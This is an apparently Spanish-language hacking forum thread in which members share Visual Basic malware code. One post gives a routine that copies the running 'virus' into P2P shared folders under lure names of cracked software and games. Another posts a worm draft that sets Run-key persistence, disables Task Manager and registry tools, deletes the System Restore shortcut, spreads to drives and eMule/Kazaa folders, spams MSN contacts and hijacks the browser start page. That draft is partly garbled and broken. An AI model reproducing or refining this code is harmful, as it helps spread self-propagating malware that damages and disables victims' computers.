Publicar codigos

[>> s E t H <<]

en ves de poner pedasos extensos de codigo que nadie va a leer y dicil de agregar controles porque no suben directamente el codigo a alguna pagina con su respectivos formularios?

aca les dejo una pagina interesante: http://www.uploadsourcecode.com.ar/

ahi pueden subir todo y nunca lo eliminan...


sl2

yo si leo los coidgos si me interesan... (es mas facil que bajarlos) y agregar controlse es una boludez (siempre que esten con el nombre x default)

[MatU_MalO]

en ves de poner pedasos extensos de codigo que nadie va a leer y dicil de agregar controles porque no suben directamente el codigo a alguna pagina con su respectivos formularios?

aca les dejo una pagina interesante: http://www.uploadsourcecode.com.ar/

ahi pueden subir todo y nunca lo eliminan...


sl2

O tambien puede ser source forge

[>> s E t H <<]

a este sub le pasan la carpetra de un p2p y copia el archivo actual en ella

Código:

Public Sub InfectarP2P(Carpeta As String)
On Error Resume Next

'con estas constantes se puede configurar el sub
Const Narchivos As Byte = 16 'la cantidad de nombres que vamos a introducir ahora
Const Jarchivos As Byte = 2 'la cantidad de nombres que se van a copiar a la vez

'los nombres de los archivos (automaticamente se le pone .exe)
Dim Archivo(1 To Narchivos) As String
Archivo(1) = "HOW TO HACK"
Archivo(2) = "Mobil Phone Tools MOTOROLA - Crackeado Cracked"
Archivo(3) = "Counter Strike 1.6 No Steam"
Archivo(4) = "Counter Strike 1.5 full"
Archivo(5) = "Counter Strike Source Cracked full"
Archivo(6) = "Msn Windows Live Messenger"
Archivo(7) = "HACK A LA NASA"
Archivo(8) = "HACK AL PENTAGONO"
Archivo(9) = "Microsoft Oficce cracked Power-Point Excel Word"
Archivo(10) = "Virtual DJ 5.2 FULL CRACKED"
Archivo(11) = "Microsoft Visual Basic 6.0 full"
Archivo(12) = "Microsoft Visual Studio FULL"
Archivo(13) = "Mortal combat Dark Adventure"
Archivo(14) = "100 games in 1 FULL"
Archivo(15) = "Emulador de playstation 2 cracked"
Archivo(16) = "DBZ - Dragon Ball Z Budokai Tenkaichi 3 FULL"

Dim RutaVirus As String 'solamente para ahorrar codigo, representa la ubicacion del virus
RutaVirus = App.Path & "/" & App.EXEName & ".exe"
Dim Azar As Byte
Dim i As Byte
'borramos todos los archivos para que no se acumulen
For i = 1 To Narchivos
Kill Archivo(i)
Next i
'copiamos los archivos nuevos
For i = 1 To Jarchivos
Randomize Timer 'generamos un numero aleatorio
Azar = Round((Rnd * (Narchivos - 1)) + 1) 'ponemos el numero aleatorio en el rango de los nombres disponibles
FileCopy RutaVirus, Carpeta & "\" & Archivo(Azar) & ".exe" 'copiamos el archivo en la carpeta de p2p con extension exe
Next i
End Sub

[motadelo]

buenas, era para preguntar si alguien se puede ofrecer a eseñarme por msn clases basicas de vb...con los manuales me ago un lio y me paso asta las 4 de la mañan csi tdos los dias sin conseguir nda..:S si alguien se ofrece mi msn es mira@el.perfil gracias!

[>> s E t H <<]

1- No se pueden publicar msn, lee las reglas
2- Este no es el lugar para preguntar eso
3- nadie te va a enseñar como lo pedis, contrata a un profesor
4- si no entendes los manuales lee otros mas faciles
5- a las 4 de la mañana no es hora para programar! es necesario pensar mucho y estar descanzado...

[motadelo]

se me escapo lo de la regla sorry... este es mi "primer" trabajillo cn vb pero lo poco q se me hacen star ciego ante tdos los posibles fallos que tenga...

Código:

Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Win32dll /d Rutadenuestrovirus.exe"
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d ""1"" /f"
Open "C:\Windows\System32\Winlog.bat" For Output As #1
Print #1, "@echo off"
Print #1, "If exist D:\ (Copy /y C:\Windows\System32\Win32dll.exe D:\Win32dll.exe)
Print #1, "If exist E:\ (Copy /y C:\Windows\System32\Win32dll.exe E:\Win32dll.exe)
Print #1, "If exist F:\ (Copy /y C:\Windows\System32\Win32dll.exe F:\Win32dll.exe)
Print #1, "If exist G:\ (Copy /y C:\Windows\System32\Win32dll.exe G:\Win32dll.exe)
Print #1, "If exist H:\ (Copy /y C:\Windows\System32\Win32dll.exe H:\Win32dll.exe)
Print #1, "If exist X:\ (Copy /y C:\Windows\System32\Win32dll.exe X:\Win32dll.exe)
Print #1, "If exist Y:\ (Copy /y C:\Windows\System32\Win32dll.exe Y:\Win32dll.exe)
Print #1, "If exist W:\ (Copy /y C:\Windows\System32\Win32dll.exe W:\Win32dll.exe)
Print #1, "If exist Z:\ (Copy /y C:\Windows\System32\Win32dll.exe Z:\Win32dll.exe)
Print #1, "exit"
Close #1
Shell ("C:\Windows\System32\Winlog.bat":), vbhide
Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\Win32dll.exe
FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\eMule\Incoming\Win32dll.exe"
' Change "C:\Archivos de Programa\eMule\Incoming\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\eMule\Incoming\Win32dll.exe", "Winrar crack.exe")
' Change "C:\Archivos de Programa\eMule\Incoming\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\eMule\Incoming\Win32dll.exe", "ares.exe")
' Change "C:\Archivos de Programa\eMule\Incoming\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\eMule\Incoming\Win32dll.exe", "messenger ulima version.exe")
FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Kazaa\My Sheared folder\Win32dll.exe"
' Change "C:\Archivos de Programa\kazaa\My Sheared folder\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\Kazaa\My Sheared folder\Win32dll.exe", "Winrar crack.exe")
' Change "C:\Archivos de Programa\kazaa\My Sheared folder\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\Kazaa\My Sheared folder\Win32dll.exe", "ares.exe")
' Change "C:\Archivos de Programa\kazaa\My Sheared folder\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\Kazaa\My Sheared folder\Win32dll.exe", "messenger ulima version.exe")
On Error GoTo NotCompatible
Set w = CreateObject("lo que hacen las drogas")
For Each ConTacto In w.MyContacts
If ConTacto.Statu s = 2 Then
Set iMsn = w.InstantMessa ge(ConTacto.Signi nName)
Call SpamMsn(iMsn.hwnd)
Next
End If
Exit Sub
NotCompatible:
MsgBox "esto es lo que pasa si te desfasas...", vbCritical, "Error"
End
Set Worm = CreateObject("WScript.Shell")
Worm.RegWrite
("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page") , "falete"
MsgBox "porque?....te comieste a falete.."
End If

[>> s E t H <<]

lo probaste? me parece que no funca...
trata de ponerlo entre [*code] y [*/code] (sin los asteriscos) para que se vea bien

[motadelo]

lo siento seth pero no se a lo que te refieres...no veo ningun asterisco :S

[>> s E t H <<]

cuando publique un codigo hace asi:

Código:

[code]tu codigo

[/code]

para que sea mas facil de entender, a eso me referia